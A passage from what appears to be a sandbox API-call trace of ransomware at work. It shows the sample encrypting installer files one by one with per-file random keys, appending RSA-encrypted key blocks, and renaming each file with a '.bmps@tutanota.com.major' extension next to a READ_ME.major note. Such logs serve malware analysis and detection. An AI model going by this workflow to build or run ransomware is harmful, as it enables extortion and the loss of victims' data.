RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0139.125] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="MNQeqMr41oY3vTPIzlKltnitfv4I0ymOoyffYgFG/Ga46MkD3c8GH0tlsvn8Rro/\n8ZIlXm7/PF5wpkJd5mj0V7fWBLfl8UkP6Lq+1s0TWipLSjZNZKX6Vlp3sL/2kp09\nHWbyYSiN10bsuTRfTdWU0tXaUuhhwHdVHx5omHvG4nUmJ1TOOQok6iqmJsDgJ5Xo\nCdCSIFxcyo5B29oLo0TbvBeyErmYG/ZyJW2kFti+ImLfI6CHBHEim21bdcrgpDNn\n/S2kIS7ZXPt0FFz+G0vSTsz25KuvmRJd5Yyv5bBckv9/52+OgUHyUp3nVC2dB0Tx\njmncR74lP/A39QL2CEeGtw==\n", pcchString=0x2e3f9a8) returned 1 [0139.125] WriteFile (in: hFile=0x4b4, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0139.125] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0139.125] WriteFile (in: hFile=0x4b4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0139.125] CloseHandle (hObject=0x4b4) returned 1 [0139.127] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0139.127] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), lpNewFileName="\\588bce7c90097ed212\\1041\\LocalizedData.xml.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0139.129] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0139.129] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0139.129] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6918 | out: hHeap=0x570000) returned 1 [0139.129] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6438 | out: hHeap=0x570000) returned 1 [0139.129] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0139.129] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0139.129] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0139.129] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1041\\eula.rtf", dwFileAttributes=0x80) returned 1 [0139.129] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bef20 [0139.129] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0139.129] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bef20 | out: hHeap=0x570000) returned 1 [0139.129] CreateFileW (lpFileName="\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4b4 [0139.129] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=10125) returned 1 [0139.129] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x278d) returned 0x5ed868 [0139.129] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x278d) returned 0x5f0000 [0139.129] ReadFile (in: hFile=0x4b4, lpBuffer=0x5ed868, nNumberOfBytesToRead=0x278d, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ed868*, lpNumberOfBytesRead=0x2e3f9b4*=0x278d, lpOverlapped=0x0) returned 1 [0139.146] SetFilePointer (in: hFile=0x4b4, lDistanceToMove=-10125, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0139.146] WriteFile (in: hFile=0x4b4, lpBuffer=0x5f0000*, nNumberOfBytesToWrite=0x278d, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5f0000*, lpNumberOfBytesWritten=0x2e3f9b4*=0x278d, lpOverlapped=0x0) returned 1 [0139.147] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ed868 | out: hHeap=0x570000) returned 1 [0139.147] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5f0000 | out: hHeap=0x570000) returned 1 [0139.147] SetFilePointer (in: hFile=0x4b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x278d [0139.147] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0139.147] WriteFile (in: hFile=0x4b4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0139.147] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0139.147] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0139.147] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0139.147] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0139.147] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="TebN0N3io5JmIn7se/cSnowI3yI+TJBz5M2WcUMmCwffz0UDvvQhSxc59HOnlPYr\n4/NvOugJZUw4bOLFDu1C1hkFzWTpS0suxJfiLZXuw3PJd4K9EVmCvUP3xtr1cJWk\nlv/JeU5au3mNKGzXvuTYf4fSubDwD5kLjLbJxDxNr3IFaMQDbw3isF0M5NkHBOws\n5/dnBXcF6EN7DAQ1pi8c90aZFBls54itt3W0eP9IvhT4vInUWyG03FEt4ed8T5xv\n5tl2WGqK6CpkWtLizhiUmmWHDoUqoIaMwJUZy2wCR2kFBgPgw2J27HfM2D6spC6i\n/elQEfWiJj6V0SINBdtTmw==\n", pcchString=0x2e3f9a8) returned 1 [0139.147] WriteFile (in: hFile=0x4b4, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0139.147] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0139.147] WriteFile (in: hFile=0x4b4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0139.147] CloseHandle (hObject=0x4b4) returned 1 [0139.148] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0139.148] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), lpNewFileName="\\588bce7c90097ed212\\1041\\eula.rtf.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0139.150] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0139.150] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0139.150] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0139.150] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee70 | out: hHeap=0x570000) returned 1 [0139.150] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c73c0 [0139.150] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x570000) returned 1 [0139.150] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0139.150] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc968 | out: hHeap=0x570000) returned 1 [0139.150] FindFirstFileW (in: lpFileName="\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xfff1ce90, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x5b54b0 [0139.150] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0139.150] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7648 [0139.150] GetLastError () returned 0x0 [0139.150] SetLastError (dwErrCode=0x0) [0139.150] GetLastError () returned 0x0 [0139.150] SetLastError (dwErrCode=0x0) [0139.150] GetLastError () returned 0x0 [0139.150] SetLastError (dwErrCode=0x0) [0139.150] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ef90 [0139.150] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0139.150] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0139.150] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0139.151] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5b5530 [0139.151] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5530 | out: hHeap=0x570000) returned 1 [0139.151] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40558 [0139.151] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40558 | out: hHeap=0x570000) returned 1 [0139.151] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0139.151] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ef90 | out: hHeap=0x570000) returned 1 [0139.151] FindNextFileW (in: hFindFile=0x5b54b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xfff1ce90, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0139.151] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7648 | out: hHeap=0x570000) returned 1 [0139.151] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c75b8 [0139.151] GetLastError () returned 0x0 [0139.151] SetLastError (dwErrCode=0x0) [0139.151] GetLastError () returned 0x0 [0139.151] SetLastError (dwErrCode=0x0) [0139.151] GetLastError () returned 0x0 [0139.151] SetLastError (dwErrCode=0x0) [0139.151] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ec80 [0139.151] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0139.151] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0139.151] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0139.151] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5b57b0 [0139.151] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b57b0 | out: hHeap=0x570000) returned 1 [0139.151] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40390 [0139.151] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40390 | out: hHeap=0x570000) returned 1 [0139.151] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0139.151] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ec80 | out: hHeap=0x570000) returned 1 [0139.151] FindNextFileW (in: hFindFile=0x5b54b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x318f, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0139.151] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x570000) returned 1 [0139.151] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7720 [0139.152] GetLastError () returned 0x0 [0139.152] SetLastError (dwErrCode=0x0) [0139.152] GetLastError () returned 0x0 [0139.152] SetLastError (dwErrCode=0x0) [0139.152] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0139.152] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7720 | out: hHeap=0x570000) returned 1 [0139.152] GetLastError () returned 0x0 [0139.152] SetLastError (dwErrCode=0x0) [0139.152] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0139.152] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0139.152] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5beec8 [0139.152] FindNextFileW (in: hFindFile=0x5b54b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xfed6, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0139.152] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0139.152] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7840 [0139.152] GetLastError () returned 0x0 [0139.152] SetLastError (dwErrCode=0x0) [0139.152] GetLastError () returned 0x0 [0139.152] SetLastError (dwErrCode=0x0) [0139.152] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7168 [0139.152] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7840 | out: hHeap=0x570000) returned 1 [0139.152] GetLastError () returned 0x0 [0139.152] SetLastError (dwErrCode=0x0) [0139.152] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ec48 [0139.152] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ec48 | out: hHeap=0x570000) returned 1 [0139.152] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b69e8 [0139.152] FindNextFileW (in: hFindFile=0x5b54b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffef548f, ftCreationTime.dwHighDateTime=0x1d50248, ftLastAccessTime.dwLowDateTime=0xffef548f, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0xfff2093f, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0139.152] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7168 | out: hHeap=0x570000) returned 1 [0139.152] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7528 [0139.152] GetLastError () returned 0x0 [0139.152] SetLastError (dwErrCode=0x0) [0139.152] GetLastError () returned 0x0 [0139.152] SetLastError (dwErrCode=0x0) [0139.152] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0139.152] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7528 | out: hHeap=0x570000) returned 1 [0139.152] GetLastError () returned 0x0 [0139.152] SetLastError (dwErrCode=0x0) [0139.152] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0139.152] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0139.152] FindNextFileW (in: hFindFile=0x5b54b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0139.152] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0139.153] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7450 [0139.153] GetLastError () returned 0x0 [0139.153] SetLastError (dwErrCode=0x0) [0139.153] GetLastError () returned 0x0 [0139.153] SetLastError (dwErrCode=0x0) [0139.153] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0139.153] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7450 | out: hHeap=0x570000) returned 1 [0139.153] GetLastError () returned 0x0 [0139.153] SetLastError (dwErrCode=0x0) [0139.153] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eeb0 [0139.153] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eeb0 | out: hHeap=0x570000) returned 1 [0139.153] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6508 [0139.153] FindNextFileW (in: hFindFile=0x5b54b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0139.153] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6570 [0139.153] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0139.153] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0139.153] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1042\\SetupResources.dll", dwFileAttributes=0x80) returned 1 [0139.153] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6980 [0139.153] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x57e1d0 [0139.153] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6980 | out: hHeap=0x570000) returned 1 [0139.153] CreateFileW (lpFileName="\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4b8 [0139.153] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=15192) returned 1 [0139.153] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x3b58) returned 0x5ed868 [0139.153] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x3b58) returned 0x5f13c8 [0139.154] ReadFile (in: hFile=0x4b8, lpBuffer=0x5ed868, nNumberOfBytesToRead=0x3b58, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ed868*, lpNumberOfBytesRead=0x2e3f9b4*=0x3b58, lpOverlapped=0x0) returned 1 [0139.215] SetFilePointer (in: hFile=0x4b8, lDistanceToMove=-15192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0139.215] WriteFile (in: hFile=0x4b8, lpBuffer=0x5f13c8*, nNumberOfBytesToWrite=0x3b58, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5f13c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x3b58, lpOverlapped=0x0) returned 1 [0139.215] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ed868 | out: hHeap=0x570000) returned 1 [0139.215] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5f13c8 | out: hHeap=0x570000) returned 1 [0139.215] SetFilePointer (in: hFile=0x4b8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x3b58 [0139.215] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0139.215] WriteFile (in: hFile=0x4b8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0139.215] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0139.215] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0139.215] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0139.215] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0139.215] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="f7X5asQqNnRDL+uDAmGoulmUeTmTh7AcKyqlzebMaLI1rD8VRjjmjiwX/Kh3vv3z\nQBCRJDUC/5YrbXq5E3Kx61uRkE17nlLQdA1APIrLQY1AMUflWQPTiaJn/seowIt2\nP7N+lz5QMMF+6gXMrDvgTPWGeiwAazG6b3uenGkkhQhTm6Iu4HdLt3UzBX3wocPL\ngN5n3YYzc4AHiwlBAm+dwJc2GnKK7ghh8JrCjqLTpfHj+92sGfRuvjxu/P4gT8Pu\nGCgvH2uoWiJLjwVVvDaczg2/VNsGlvDIqJaKGQR6vzurll8guft68dqBkWBAcqS1\nrdhokZgw29FPqUyNtCY0Ww==\n", pcchString=0x2e3f9a8) returned 1 [0139.215] WriteFile (in: hFile=0x4b8, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0139.215] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0139.216] WriteFile (in: hFile=0x4b8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0139.216] CloseHandle (hObject=0x4b8) returned 1 [0139.216] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0139.217] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll"), lpNewFileName="\\588bce7c90097ed212\\1042\\SetupResources.dll.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0139.218] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0139.218] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0139.218] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6570 | out: hHeap=0x570000) returned 1 [0139.218] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6508 | out: hHeap=0x570000) returned 1 [0139.218] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6438 [0139.218] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0139.218] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0139.218] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1042\\LocalizedData.xml", dwFileAttributes=0x80) returned 1 [0139.219] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6508 [0139.219] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x57e1d0 [0139.219] HeapFree 